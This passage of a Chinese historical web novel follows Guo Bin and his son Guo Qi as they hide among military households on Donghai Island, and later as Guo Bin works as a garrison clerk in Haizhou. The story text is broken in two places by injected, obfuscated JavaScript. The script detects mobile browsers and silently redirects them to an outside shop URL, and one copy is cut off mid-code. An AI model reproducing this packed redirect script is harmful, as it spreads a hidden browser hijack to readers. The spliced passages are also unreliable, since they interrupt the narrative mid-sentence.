他从怀中取出那封密封的联络信,放在桌上:“这封信上有郭铭兄的秘密联络方式,一旦落入他人之手,我们与武定侯府的关系便会暴露。永乐帝正在打压淮西勋贵,若是查到我们与武定侯府有牵连,不仅我们自身难保,还可能连累郭铭兄和整个武定侯府。” “先生的意思是……要毁掉这封信?”郭福惊讶地问道。这封信是他们与外界唯一的联系,是危难时刻的救命稻草,毁掉它,就意味着他们彻底成了孤立无援的逃亡者。 “必须毁掉。”郭斌点点头,语气不容置疑,“但不能完全毁掉。我们可以先将信上的联络方式拓印下来,藏在隐秘之处,以备不时之需。原件必须立刻烧毁,绝不能留下任何痕迹。” 众人沉默了。他们知道,郭斌说得对,这是目前唯一能自保的办法。在生存面前,所谓的“救命稻草”,有时也可能变成致命的毒药。 “我同意先生的决定。”郭福叹了口气,“留着原件,始终是个隐患。拓印一份藏起来,既断了暴露的风险,也给自己留了一条后路。” 其他几位长辈也纷纷点头表示同意。 当下,郭斌取来笔墨和宣纸,小心翼翼地将联络信上的内容拓印下来。信上的联络方式很简单,只有两个秘密联络点——一个在京城,一个在海州城,还有对应的暗号和接头人的特征。郭斌拓印得十分仔细,确保每个字、每个细节都清晰无误。 拓印完毕,他将拓本折叠好,塞进一个小小的木盒中,又在木盒外层裹了几层油纸,交给郭福:“郭福伯,麻烦你将这个木盒藏在屋梁的暗格中,那里是最隐秘的地方,除非房屋倒塌,否则绝不会被人发现。” 郭福接过木盒,郑重地点点头:“先生放心,老奴这就去办。” 待郭福藏好拓本回来,郭斌拿起那封“郭府联络信”,走到油灯旁。他最后看了一眼信封上的蜡封,心中百感交集。这封信,是郭铭兄对他们的牵挂与庇护,是郭家血脉相连的见证。但如今,为了生存,为了不连累他人,他必须亲手毁掉它。 “各位,”郭斌的声音带着一丝沉重,“从今日起,我们与武定侯府的直接联系,便彻底斩断了。未来的路,只能靠我们自己。我们在东海岛,只是普通的军户,没有过去,没有家族渊源,只有一个身份——郭斌一家,和他的族人。” 说完,他将联络信凑近油灯,火焰瞬间舔舐上信纸,黑色的灰烬随着热气升腾,飘落在地上,很快便化为乌有。屋内一片寂静,只有火焰燃烧的噼啪声,和窗外呼啸的风声交织在一起。 联络信被烧毁后的几日,郭斌心中始终笼罩着一层阴霾。他下令族人们更加谨慎行事:除了必要的耕种和海防巡逻,严禁任何人随意外出;与岛上其他军户的交往,也仅限于日常寒暄,绝不谈论任何与京城、与勋贵相关的话题;郭玘的武艺训练,也从院外转移到了屋内的密室中,避免因身手过于出众而引起他人注意。 东海岛虽偏僻,但岛上仍有百余户军户,彼此往来频繁。郭斌深知,人心隔肚皮,在这个敏感时期,任何一点异常都可能引来不必要的猜忌。他必须确保,他们一家和族人,就像岛上的石头和茅草一样,平凡无奇,不会引起任何人的注意。 这一日,郭斌带着郭玘在海边巡查海防。冬日的海边人迹罕至,只有呼啸的寒风和翻滚的海浪。郭玘踩着沙滩上的碎冰,踢着石子,神色有些低落。 “爹,我们真的要彻底和郭铭叔他们断绝联系吗?”郭玘忍不住问道,“万一我们遇到危险,怎么办?万一武定侯府需要我们帮忙,怎么办?” 郭斌停下脚步,看着儿子低落的侧脸,心中一酸。他知道,儿子与郭铭叔相见后,心中燃起了对家族团聚的希望,如今希望破灭,自然难以接受。 “玘儿,我们不是断绝联系,只是暂时隐藏起来。”郭斌轻声道,“那封联络信的拓本还在,我们并没有完全切断后路。只是现在,永乐帝正在打压淮西勋贵,我们与武定侯府走得越近,就越危险。你郭铭叔在京城,自身难保,我们不能再给他添麻烦。” 他顿了顿,继续道:“至于我们遇到危险……爹会保护你,保护族人。这些年,我们经历了那么多风雨,不都挺过来了吗?只要我们足够谨慎,足够强大,就没有什么能难倒我们。” “可是,我们为什么不能光明正大地活着?为什么要像老鼠一样躲躲藏藏?”郭玘的声音带着一丝委屈和愤怒,“我们郭家是忠良之后,没有做错任何事,凭什么要受这样的待遇?” 郭斌心中一痛,伸手将儿子搂在怀中。他知道,儿子的质问,也是他心中多年的隐痛。但在这乱世之中,道理往往是最无力的东西。“玘儿,我知道你委屈。但你要记住,活下去,才是最重要的。只有活着,才有机会等到洗刷冤屈的那一天。现在的隐忍,不是懦弱,是为了将来能光明正大地站在阳光下,告诉所有人,我们郭家是忠良之后。” 他从怀中取出那半块“勇”字玉佩,又让郭玘拿出他保管的“忠”字玉佩。两块玉佩合在一起,“忠勇”二字完整呈现,在冬日的阳光下散发着温润的光芒。“你看这两块玉佩,它们是我们家族的传承,是‘忠勇’家训的象征。只要它们还在,我们郭家的根就在。但现在,我们不能让别人知道它们的存在,不能让别人知道我们的身份。” 郭斌将两块玉佩分开,重新贴身藏好,语气变得格外郑重:“玘儿,从今日起,你要记住一句话——现在,我们只是军户郭斌家。没有巩昌侯府,没有郭兴的后人,没有与武定侯府的牵连。我们就是普通的军户,靠耕种和戍边为生,只想在东海岛安稳地活下去。” 郭玘抬起头,看着父亲坚定的眼神,眼中的委屈和愤怒渐渐消散,取而代之的是一种与年龄不符的沉稳。他重重点点头:“爹,我记住了。我们只是军户郭斌家,没有过去,只有现在和未来。” 郭斌心中一暖,摸了摸儿子的头。他知道,儿子真正明白了他的苦心,也真正学会了隐忍。这对一个十二岁的孩子来说,太过沉重,但也是乱世中生存的必需。 接下来的日子,郭斌一家和族人彻底低调下来。他们每日埋头耕种,精心打理卫所分配的田地。东海岛的土地虽不算肥沃,但在郭福的指导和族人的辛勤劳作下,庄稼长势喜人,每年上缴卫所的粮食都超额完成,赢得了守岛百户的赞赏。 郭玘则更加刻苦地读书习武。他白天跟着父亲在田间劳作,晚上便在密室中练习武艺,油灯下苦读诗书。他的武艺进步神速,已能与族中的成年男丁比肩;学问也日益深厚,不仅熟读了四书五经,还跟着父亲学习兵法和海防知识。但他始终牢记父亲的叮嘱,从不轻易显露自己的才能,在其他军户面前,只是一个懂事、勤奋的普通少年。 永乐三年春, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914082|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李诚再次冒着风险,借着补给的名义登上东海岛。他带来了更坏的消息:“郭斌先生,京城的打压越来越紧了。郭铭大人传来消息,永乐帝近期又借故敲打郭镇大人,派锦衣卫暗中监视武定侯府的一举一动。郭铭大人让我们务必小心,近期不要再有任何联络,以免被锦衣卫察觉。” “我知道了。”郭斌点点头,神色平静,“辛苦李百户专程前来通报。你告诉郭铭兄,让他不必担心我们,我们在东海岛一切安好。也请他务必保重自己,在京城行事,多加谨慎。” “先生放心,我会转告郭铭大人。”李诚道,“另外,郭铭大人还说,他已暗中打点了东海卫所左千户,让他对东海岛的军户清查放宽标准。只要我们不主动惹事,短期内不会有危险。” “有劳郭铭兄费心了。”郭斌道。 李诚停留了不到一个时辰,便匆匆离去。他不敢久留,怕引起他人注意。 李诚走后,郭斌召集族人,再次强调了低调行事的重要性。“如今京城的风声越来越紧,锦衣卫的眼线遍布各地。我们在东海岛,看似安全,实则危机四伏。任何一点疏忽,都可能让我们多年的隐忍付诸东流。” 他看着族人们,语气沉重:“我知道,大家都想光明正大地活着,都想为家族洗刷冤屈。但现在,还不是时候。我们必须再忍耐一些时日,等到永乐帝的猜忌之心稍减,等到武定侯府的处境好转,等到一个真正安全的时机。在那之前,我们只能做普通的军户,守着东海岛,守着我们的家人,守着郭家的香火。” 族人们纷纷点头,眼中虽有不甘,却也明白郭斌的良苦用心。这些年的逃亡与蛰伏,让他们深刻体会到,生存才是第一位的。 日子在平静与谨慎中缓缓流逝。永乐三年冬,东海岛迎来了一场罕见的大雪,整个岛屿被白雪覆盖,银装素裹。郭斌带着族人在雪中加固海防工事,郭玘则在雪地里练习刀法,雪花落在他的身上,融化成水珠,浸湿了他的衣衫,他却浑然不觉。 这一日,守岛百户突然召集所有军户在岛上的空地上集合。郭斌心中一紧,不知道发生了什么事。他带着族中的男丁来到空地,只见百户身边站着几名身着锦衣卫服饰的男子,为首的正是郭铭当年的亲信之一,如今在东海卫负责监察事务的赵千户。 郭斌心中一凛,难道是他们的身份暴露了?他下意识地将郭玘护在身后,神色平静,却暗中做好了应对突发情况的准备。 赵千户的目光扫过在场的军户,最后落在郭斌身上,眼中闪过一丝不易察觉的信号,随即恢复平静。他对着众人朗声道:“奉永乐帝旨意,清查沿海卫所军户身份,严防建文旧部余孽藏匿。今日特来东海岛核查,凡身份属实、安分守己者,皆无大碍;若有隐瞒身份、图谋不轨者,一经查实,军法处置!” 核查开始了,赵千户逐一核对军户的身份信息,询问籍贯、来历。轮到郭斌时,他按照事先准备的说辞,从容应答:“小人郭斌,籍贯淮西濠州,因家乡遭灾,逃荒至海州,入了军籍,如今在东海岛屯田戍边。” 赵千户点点头,目光又扫过郭玘:“这是你的儿子?” “正是,小儿郭玘。”郭斌道。 赵千户没有再多问,在名册上打了个勾,便让他们离开了。 核查结束后,赵千户悄悄留下了一张纸条,通过守岛百户转交给郭斌。纸条上只有寥寥数语:“陛下猜忌未减,武定侯府暂无碍,继续蛰伏,勿轻动。” 郭斌看完纸条,心中松了一口气。看来,郭铭兄一直在暗中关注着他们,这次的清查,也是郭铭兄提前打点好了,才让他们平安过关。 他将纸条烧毁,对郭玘道:“你看,只要我们足够谨慎,就能平安度过难关。记住,无论遇到什么情况,都不能慌,不能暴露我们的身份。” 郭玘重重点头:“爹,我记住了。我们只是军户郭斌家,要在东海岛好好活下去。” 郭斌看着儿子坚定的眼神,心中充满了欣慰与希望。他知道,只要他们坚守“忠勇”家训,保持隐忍与谨慎,就一定能在东海岛站稳脚跟,等到家族重见天日的那一天。 永乐四年春,京城传来消息:郭镇大人在宣府戍边期间,屡立战功,永乐帝龙颜大悦,下令恢复武定侯府部分田产,并允许郭氏家族一名子弟入仕。虽然对武定侯府的监控并未完全解除,但局势总算有了一丝缓和。 李诚带来的消息让郭斌心中的石头稍稍落地。他知道,这或许是一个好的开始。但他并未放松警惕,依旧告诫族人,继续保持低调,不可掉以轻心。 这一日,郭斌带着郭玘在海边散步。春日的海风和煦,吹散了冬日的严寒,海面上波光粼粼,远处的渔船点点。郭玘望着手中的“忠”字玉佩,对父亲道:“爹,你说,我们什么时候才能真正光明正大地拿出这两块玉佩,告诉所有人,我们是郭家的后人?” 郭斌看着儿子眼中的期盼,心中一暖。他伸出手,握住儿子的手,指着远方的海平面:“玘儿,你看,大海虽辽阔,却总有潮起潮落。我们的命运,就像这大海一样,有低谷,也会有高潮。现在,我们正处在低谷,需要隐忍蛰伏。但只要我们不放弃,坚守‘忠勇’家训,总有一天,我们会迎来潮起之时。到那时,我们就能带着这两块玉佩,回到淮西祖宅,光明正大地告诉所有人,我们是郭兴的后人,是忠良之后。” 郭玘重重点头,眼中闪烁着坚定的光芒。他握紧手中的“忠”字玉佩,仿佛握住了家族的未来。海风拂过,带着咸湿的气息,也吹起了父子二人心中的希望。 他们在东海岛的生活依旧继续,每日耕种、练武、读书,看似平淡,却处处透着坚韧与坚守。郭斌知道,永乐帝的政策反复只是暂时的,只要他们能在这乱世中保全自身,等到合适的时机,就一定能为家族洗刷冤屈。而那两块“忠勇”玉佩,将始终陪伴着他们,见证着他们的苦难与坚守,指引着他们走向未来的光明。 夜色渐深,东海岛的烽燧上燃起了篝火,照亮了海面。郭斌与郭玘并肩站在烽燧下,望着远方的点点渔火。父子二人手中的玉佩,虽贴身收藏,却仿佛心意相通。他们知道,家族的复兴之路还很长,充满了未知与挑战,但只要“忠勇”二字在,家族的根就在,希望就在。永乐帝的猜忌与打压,只能让他们更加隐忍,更加坚定地守护着家族的香火,等待着重见天日的那一天。 13. 第二卷 海州藏璧 第13章 军吏生涯 永乐四年夏,海州城的暑气蒸腾,青石板路被烈日炙烤得发烫,空气中弥漫着盐场的咸腥与市井的烟火气。郭斌牵着郭玘的手,走在熙熙攘攘的街道上,心中五味杂陈。三天前,他接到了东海卫所的调令,因“识文断字、办事干练”,从东海岛屯田总旗调任卫城左千户所军吏,负责文书记录与户籍核查。 这是他入军籍五年来,第一次离开东海岛。消息传来时,族人们既兴奋又担忧——调回卫城,意味着生活条件改善,距离外界更近,却也意味着暴露身份的风险陡增。郭斌沉吟再三,最终还是决定赴任:东海岛虽偏,却非长久之地,卫城虽险,却能更及时地打探消息,且军吏之职远离兵权,不易引起猜忌,更利于蛰伏。 “爹,卫城比东海岛热闹多了。”十四岁的郭玘眼中满是好奇,却刻意压低了声音。他身着一身半旧的粗布长衫,是郭斌特意为他准备的,既符合军户子弟的身份,又不至于太过扎眼。五年的东海岛生活,让他褪去了孩童的懵懂,多了几分沉稳谨慎,腰间贴身藏着那半块“忠”字玉佩,如同藏着家族的秘密。 郭斌点点头,目光警惕地扫过四周。卫城街道两旁商铺林立,酒肆、茶馆、盐铺、渔行鳞次栉比,往来行人中有军卒、商贩、渔民,还有身着官服的吏员,形形色色,鱼龙混杂。他低声叮嘱:“玘儿,记住,到了卫城,说话行事更要谨慎。这里人多眼杂,不可轻易显露学识,不可与人争执,凡事多忍让。” “我记住了,爹。”郭玘重重点头,紧紧跟在父亲身后。 左千户所位于卫城西侧,是一座不算宏伟的院落,门前悬挂着“左千户所”的匾额,门旁两名军卒手持长枪站岗。郭斌带着郭玘走进院落,只见院内青砖铺地,两侧是厢房,正屋是千户办公之所,几名军吏正坐在廊下处理文书,笔尖划过纸张的沙沙声此起彼伏。 “哪位是新来的军吏郭斌?”一名身着从九品吏目服饰的中年男子走了过来,神色倨傲,三角眼扫视着郭斌父子,带着几分审视。 “小人郭斌,见过王吏目。”郭斌躬身行礼,语气恭敬。来之前他已打听清楚,这位王吏目名叫王彪,是左千户所的资深军吏,为人贪婪刻薄,惯用职权勒索下属军户,在卫城名声不佳。 王彪上下打量着郭斌,见他身着粗布衣衫,神色沉稳,不像其他军户那般谄媚,眼中闪过一丝不悦:“既然来了,就随我熟悉差事。军吏之职,掌管文书户籍,半点马虎不得。你刚从东海岛调来,不懂规矩,以后多跟着我学。” “多谢王吏目指点。”郭斌依旧恭敬。 王彪带着郭斌来到西侧厢房,指着一张堆满文书的木桌:“这就是你的工位。桌上是近期的军户户籍册,限你三日内核对完毕,有错漏之处,军法处置!”说完,他又瞥了一眼郭玘,“这是你儿子?卫所之内,不得随意带入闲杂人等,赶紧让他回去!” “回王吏目,小儿郭玘,随我来卫城投奔,暂无住处,暂时只能跟着我。”郭斌连忙解释,“我已在卫城外围租了民房,今日便会安顿好,日后不会让他再来打扰公务。” 王彪冷哼一声,没再追问,转身离去时,故意用肩膀撞了郭斌一下。郭斌身形微侧,稳稳避开,心中虽有不悦,却并未表露——在卫城立足未稳,他必须隐忍。 接下来的三日,郭斌日夜忙碌,核对堆积如山的户籍册。军户户籍繁杂,涉及姓名、年龄、籍贯、兵役记录、屯田亩数等,稍有疏漏便可能引发麻烦。郭斌自幼在巩昌侯府接受良好教育,不仅识字断文,且心思缜密,这些文书工作对他而言并不算难。他逐页核对,笔尖批注,将错漏之处一一标出,字迹工整清秀,远超其他军吏的潦草笔迹。 郭玘则在一旁安静等候,要么翻看父亲带来的书籍,要么练习基本功,从不四处走动,也不与他人攀谈。其他军吏见郭斌父子低调安分,起初还想刁难,见他文书处理得滴水不漏,又对王彪的刁难隐忍不发,便也渐渐收起了轻视之心。 第三日傍晚,郭斌终于核对完所有户籍册,送到王彪办公处。王彪漫不经心地翻了翻,见册上批注清晰、字迹工整,心中惊讶,脸上却依旧不屑:“还算有点用处。郭斌,你初来乍到,按卫所规矩,新来的军吏需向老吏目‘孝敬’些薄礼,算是入乡随俗。” 郭斌心中一沉,果然来了。他早已料到王彪会借机勒索,却没想到来得这么快。他故作不解:“王吏目,小人家境贫寒,从东海岛调来,只带了些衣物行李,实在拿不出什么薄礼,还望王吏目见谅。” “见谅?”王彪脸色一沉,将户籍册扔在桌上,“郭斌,你别给脸不要脸!在这左千户所,我说的话就是规矩!你一个从偏远海岛调来的军户,能做上军吏,是你的福气!这点规矩都不懂,还想在卫城立足?” 郭斌紧紧握着拳头,指甲几乎嵌进掌心。他习武多年,对付王彪这样的纨绔吏目易如反掌,但他不能。一旦动手,不仅自己的军吏之职不保,还可能暴露身份,连累族人。他深吸一口气,压下心中的怒火,躬身道:“王吏目息怒,小人并非有意违抗,实在是囊中羞涩。若王吏目不嫌弃,小人家中还有几斤从东海岛带来的海鱼干,明日给您送来?” 王彪见郭斌服软,心中得意,脸上却依旧板着:“海鱼干?也太寒酸了!罢了,看你初来乍到,就先这样。日后若有好处,别忘了孝敬我,否则,有你好受的!” “多谢王吏目宽宏大量。”郭斌躬身道谢,转身退出了房间。 走出千户所,夜色已浓,街道上的行人渐渐稀少。郭玘跟在父亲身后,脸上满是愤愤不平:“爹,那个王彪太过分了!明明是他故意勒索,你为什么不反驳?” 郭斌停下脚步,看着儿子眼中的怒火,轻声道:“玘儿,我们来卫城是为了什么?” “为了安稳生活,为了打探消息,为了等待洗刷家族冤屈的时机。”郭玘答道。 “没错。”郭斌点点头,“既然如此,何必为了一时之气,与王彪这样的人争执?他只是个贪婪的吏目,勒索些财物罢了,只要不触及我们的底线,忍一忍便过去了。若我们与他争执,他怀恨在心,暗中给我们使绊子,甚至向上级诬告我们,我们在卫城便难以立足,得不偿失。” “可他太欺负人了!”郭玘依旧不服气。 “乱世之中,生存为本。”郭斌沉声道,“我们身负家族冤屈,隐姓埋名,每一步都如履薄冰。忍一时风平浪静,退一步海阔天空。这不是懦弱,是智慧。就像你练刀,并非一味猛冲猛打,有时收刀退让,是为了更好地出击。” 郭玘似懂非懂地点点头,心中的怒火渐渐平息。他知道,父亲说得对,他们不能因小失大。 回到租住的民房,郭斌将今日的遭遇告诉了前来卫城投奔的郭福。郭福叹了口气:“先生,王彪这种人,在卫所中很常见。我们只能小心应对,尽量满足他的要求,避免给他留下把柄。” “我明白。”郭斌道,“明日我便将海鱼干送去,再想办法凑些碎银,先稳住他。我们在卫城立足未稳,不宜树敌。” 当晚,郭斌在灯下翻开一本旧书,正是他从东海岛带来的《孙子兵法》。郭玘凑了过来,好奇地问道:“爹,你要教我打仗吗?” 郭斌摇摇头,笑着摸了摸儿子的头:“不是要打仗,是要懂进退。《孙子兵法》不仅是用兵之术,更是处世之道。你看这‘兵者,诡道也’,并非教人行诡诈,而是教我们看清局势;‘知己知彼,百战不殆’,不仅适用于战场,也适用于与人相处;还有这‘穷寇莫追’‘以退为进’,都是告诉我们,做事要懂得分寸,懂得退让,不可一味逞强。” 他翻开其中一页,指着上面的文字:“就像今日面对王彪的勒索,我们明知他不对,却不能硬碰硬。这便是‘以退为进’,暂时的退让,是为了长远的安稳。我们身在卫城,如同身处战场,周围都是潜在的风险,只有懂得进退之道,才能保全自身,等待时机。” 郭玘认真地听着,眼中渐渐露出恍然大悟的神色。他接过《孙子兵法》,借着灯光仔细阅读,虽然有些字句晦涩难懂,但在父亲的讲解下,渐渐明白了其中的道理。 “爹,我明白了。”郭玘合上书,语气坚定,“以后我不仅要好好练武,还要认真研读《孙子兵法》,学会懂进退,明事理,不再意气用事。” 郭斌心中一暖,欣慰地点点头。他知道,儿子正在快速成长,不仅是武艺和学识,更在心智上逐渐成熟,这正是他所期望的——只有这样,郭玘才能在未来扛起家族的重任。 次日清晨,郭斌将精心包装的海鱼干和凑来的二两碎银送到王彪家中。王彪见郭斌识趣,脸色缓和了许多,假惺惺地说道:“郭斌,你倒是个懂事的。以后好好干,有我在,不会亏待你。” “多谢王吏目关照。”郭斌躬身道谢,心中却对这种人不屑一顾。 回到千户所,郭斌开始处理日常公务。军吏的工作繁杂琐碎,除了核对户籍,还要记录军户的兵役情况、屯田收成、军械领用等,有时还要协助千户处理军民纠纷。郭斌做事认真负责,文书处理得井井有条,渐渐得到了左千户周大人的赏识。 周大人是个五十余岁的老军人,为人正直,不擅钻营,因此虽战功赫赫,却一直只是个千户。他见郭斌不仅识字断文,且办事沉稳干练,与其他只会阿谀奉承的军吏截然不同,便时常将一些重要的文书交给郭斌处理,有时还会与他探讨海防事宜。 郭斌趁机向周大人请教卫所的军制、海防布局等问题,既增长了见识,也让周大人对他更加信任。但他始终保持着谦逊谨慎的态度,从不显露自己的学识和武艺,更不谈论自己的过往。 郭玘则在卫城找了一家私塾,半工半读。他聪慧过人,读书过目不忘,很快便得到了私塾先生的喜爱。每日放学后,他便回到家中,跟着父亲练习武艺,研读《孙子兵法》,生活过得充实而规律。 然而,王彪的勒索并未就此停止。每隔一段时间,他便会以各种名义向郭斌索要财物,要么是“家中缺米”,要么是“孩子上学需要束脩”,理由五花八门。郭斌深知小不忍则乱大谋,每次都尽量满足,有时实在凑不出财物,便用自己的手艺——他在东海岛时学会了木工活,偶尔会做些小木器送给王彪,暂时平息他的贪欲。 这一日,王彪又找到郭斌,语气不善:“郭斌,下个月是我老娘的寿辰,你看着办吧。” 郭斌心中一怒,这王彪简直得寸进尺!他刚想拒绝,却想起父亲的教诲和自己的处境,最终还是压下了怒火,躬身道:“王吏目放心,小人定会备一份薄礼,为老夫人贺寿。” 王彪满意地点点头,扬长而去。 郭玘得知后,愤愤不平地说:“爹,这王彪太贪婪了!我们不能一直这样纵容他!” 郭斌坐在院中,看着儿子气鼓鼓的样子,平静地说:“玘儿,我们现在的处境,就像《孙子兵法》中所说的‘敌强我弱’,只能‘避其锋芒,击其惰归’。王彪虽贪婪,但他只是个小小的吏目,翻不起什么大浪。我们暂时的退让,是为了避免不必要的麻烦。等我们在卫城站稳脚跟,有了足够的实力,他自然不敢再随意刁难我们。” 他顿了顿,继续道:“而且,我们要学会从逆境中成长。王彪的勒索,让我们学会了隐忍,学会了变通,也让我们更加看清了人心险恶。这些经历,对你未来的成长,都是宝贵的财富。” 郭玘沉默了片刻,点了点头:“爹,我明白了。我会努力变强,等我有了能力,就不会再让你受这样的委屈。” 郭斌笑了笑,拍了拍儿子的肩膀:“好,爹相信你。但记住,变强不是为了报复,是为了保护自己和身边的人,是为了实现更大的目标。” 日子在忙碌与隐忍中缓缓流逝。郭斌在左千户所的地位渐渐稳固,周大人对他愈发信任,甚至将卫所的部分海防文书也交给了他处理。通过这些文书,郭斌对东海卫的海防布局、军户分布、倭寇侵扰规律等有了更深入的了解,也暗中记下了许多有用的信息,为日后可能的行动做准备。 郭玘则在私塾中成绩优异,不仅熟读了四书五经,还对《孙子兵法》有了自己的见解。他时常与父亲探讨兵法策略,有时还会提出一些独到的看法,让郭斌刮目相看。 永乐五年秋,东海卫传来消息:李诚被调往辽东戍边,负责抵御蒙古骑兵。消息是周大人无意中透露给郭斌的,郭斌心中一沉——李诚是他们在东海卫唯一的直接联络人,如今李诚被调走,他们与郭铭的联系便更加薄弱了。 当晚,郭斌辗转难眠。他知道,李诚被调往辽东,绝非偶然。永乐帝近年来不断加强边疆防御,同时也在借机调整各地卫所的官员,削弱潜在的威胁。李诚是郭铭的旧部,又与他们有联系,此次被调往偏远的辽东,或许正是永乐帝对武定侯府进一步打压的信号。 “爹,你在想什么?”郭玘见父亲彻夜未眠,关切地问道。 “李叔被调往辽东了。”郭斌沉声道。 郭玘心中一惊:“那我们以后有危险,怎么办?” “只能靠我们自己了。”郭斌道,“李叔在辽东,远水解不了近渴。郭铭叔身在京城,自身难保,也无法正面照拂我们。从今往后,我们在卫城,只能更加谨慎,凡事依靠自己。” 他看着儿子,语气坚定:“玘儿,你已经十五岁了,是个男子汉了。爹希望你能尽快成长起来,无论是武艺、学识,还是心智,都要尽快成熟。未来的路,可能会更加艰难,我们父子二人,必须同心同德,互相扶持,才能在这乱世中立足。” 郭玘重重点头:“爹,你放心。我会更加努力练武、读书,尽快变强,成为你的依靠。” 接下来的日子,郭斌更加注重对郭玘的培养。每日清晨,父子二人一同练习武艺,郭斌将自己的毕生所学倾囊相授;夜晚,他们一同研读《孙子兵法》《武经总要》等书籍,探讨兵法策略与处世之道。郭玘进步神速,不仅武艺精进,能与父亲对拆数十招不落下风,学识也日益深厚,对兵法策略的理解,甚至超过了许多成年军吏。 与此同时,王彪的勒索依旧没有停止。但郭斌不再像以前那样一味退让,他开始巧妙地应对——有时会找借口拖延,有时会送一些不值钱却又能让王彪满意的小物件,有时甚至会利用卫所的规矩,让王彪的勒索无法得逞。王彪虽心中不满,但因郭斌深得周大人信任,又抓不到他的把柄,也只能作罢。 这一日,郭斌处理完公务,刚走出千户所,便被一名陌生男子拦住。男子身着普通百姓服饰,神色警惕,低声道:“郭斌先生,我是郭铭大人的亲信, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他取出《孙子兵法》,翻到“势篇”,指着上面的文字:“玘儿,你看这‘故善战者,求之于势,不责于人,故能择人而任势’。意思是,善于打仗的人,会借助有利的形势,而不是苛求他人。我们现在,就是要在卫城这个复杂的环境中,借助一切有利的形势,积累自己的力量,等待合适的时机,一举实现我们的目标。” 郭玘认真地听着,眼中闪烁着坚定的光芒。他知道,父亲的话是对的。他们现在所做的一切,都是在为将来的机会做准备。 接下来的日子,郭斌更加积极地处理公务,与卫所的官员、军吏搞好关系。他为人正直,办事公道,又乐于助人,渐渐赢得了大家的尊重。周大人更是对他信任有加,时常在卫所左千户面前夸赞他的才干。 郭玘则在私塾中继续深造,同时利用课余时间,结交了一些志同道合的朋友,大多是卫所军户的子弟,他们都对倭寇的侵扰深恶痛绝,渴望将来能为国效力。郭玘与他们切磋武艺,探讨兵法,不仅增长了见识,也积累了自己的人脉。 永乐六年春,东海卫遭遇了一场小规模的倭寇侵扰。倭寇乘坐三艘小船,在卫城东侧的渔村登陆,劫掠财物,杀害百姓。卫所左千户下令左千户所出兵围剿。周大人接到命令后,立刻召集军吏商议对策。 “倭寇人数虽少,但凶悍异常,且熟悉地形,若贸然出击,恐难奏效。”周大人眉头紧锁,对着地图沉思。 其他军吏面面相觑,不知如何是好。王彪更是吓得脸色发白,连连摆手:“周大人,倭寇太厉害,我们还是向卫所求援吧!” 郭斌看着地图,心中已有了计策。他沉吟片刻,躬身道:“周大人,小人有一计,或许可破倭寇。” 周大人眼中一亮:“郭斌,你有何妙计,速速说来!” 郭斌指着地图,缓缓道:“倭寇登陆的渔村,东侧是大海,西侧是山地,只有一条小路通往外界。我们可以兵分两路:一路由您率领主力部队,正面进攻渔村,吸引倭寇的注意力;另一路由一名得力将领率领,从西侧山地绕到倭寇后方,切断他们的退路。同时,派人通知沿海的巡逻船,封锁海面,防止倭寇乘船逃跑。这样前后夹击,倭寇插翅难飞!” 周大人闻言,茅塞顿开:“好计策!郭斌,你果然有勇有谋!就按你说的办!” 他立刻下令,自己率领主力部队正面进攻,让一名百户率领小分队从西侧山地迂回,同时派人通知巡逻船封锁海面。 战斗打响后,一切正如郭斌所料。倭寇被正面进攻的明军吸引,全力抵抗,却没想到后方突然出现明军,退路被切断。海上的巡逻船也及时赶到,封锁了海面。倭寇腹背受敌,陷入绝境,最终被明军全部歼灭。 此战大获全胜,卫所左千户大人对周大人大加赞赏,周大人则归功于郭斌的妙计,向卫所举荐了郭斌。卫所张大人对郭斌也颇有印象,当即下令,提拔郭斌为从九品副吏目,负责协助王彪处理左千户所的文书事务。 王彪见郭斌升职,心中嫉妒,却也无可奈何。他知道,郭斌如今深得周大人和卫所左千户的赏识,再也不是他能随意拿捏的了。 郭斌升职后,并没有骄傲自满,依旧保持着谦逊谨慎的态度。他知道,这只是他在卫城立足的一小步,未来的路还很长。 当晚,郭斌与郭玘在家中庆祝。郭玘眼中满是敬佩:“爹,你真厉害!你的计策救了渔村的百姓,还得到了升职。” 郭斌笑了笑:“这不是爹厉害,是《孙子兵法》的智慧。‘知己知彼,百战不殆’,我只是看清了倭寇的处境和地形的优势,才想出了这个计策。” 他看着儿子,语气郑重:“玘儿,你要记住,无论取得多大的成就,都不能骄傲自满。在这乱世中,唯有保持谦逊,不断学习,才能不断进步,才能实现我们的目标。” 郭玘重重点头:“爹,我记住了。我会以你为榜样,不断努力,早日为家族洗刷冤屈。” 郭斌心中一暖,举起酒杯:“好,为了我们的未来,干杯!” 父子二人举杯共饮,眼中充满了对未来的希望。他们知道,在卫城的军吏生涯,只是他们漫长蛰伏之路的一部分。但他们相信,只要坚守“忠勇”家训,懂得进退之道,不断积累实力,就一定能等到家族重见天日的那一天。 夜色渐深,海州城的灯火渐渐稀疏。郭斌站在院中,望着天上的明月,心中感慨万千。他想起了东海岛的海风,想起了淮西的祖宅,想起了郭铭的嘱托,想起了家族的冤屈。他知道,自己身上的责任重大,但他不再迷茫,不再畏惧。因为他有儿子的陪伴,有“忠勇”家训的指引,有《孙子兵法》的智慧,更有一颗坚韧不拔的心。 在东海卫城的军吏生涯,让郭斌不仅积累了人脉和实力,更磨练了心智。他学会了在复杂的环境中生存,学会了在逆境中成长,学会了在隐忍中等待时机。而这一切,都为他未来的行动,奠定了坚实的基础。 郭玘则在父亲的教导和卫城的历练中,迅速成长为一名文武双全、心智成熟的少年。他手中的“忠”字玉佩,不仅承载着家族的过去,更寄托着家族的未来。他知道,自己肩负着家族的希望,必须努力变强,才能在未来的某一天,与父亲一起,为家族洗刷冤屈,让郭家的“忠勇”精神重现荣光。 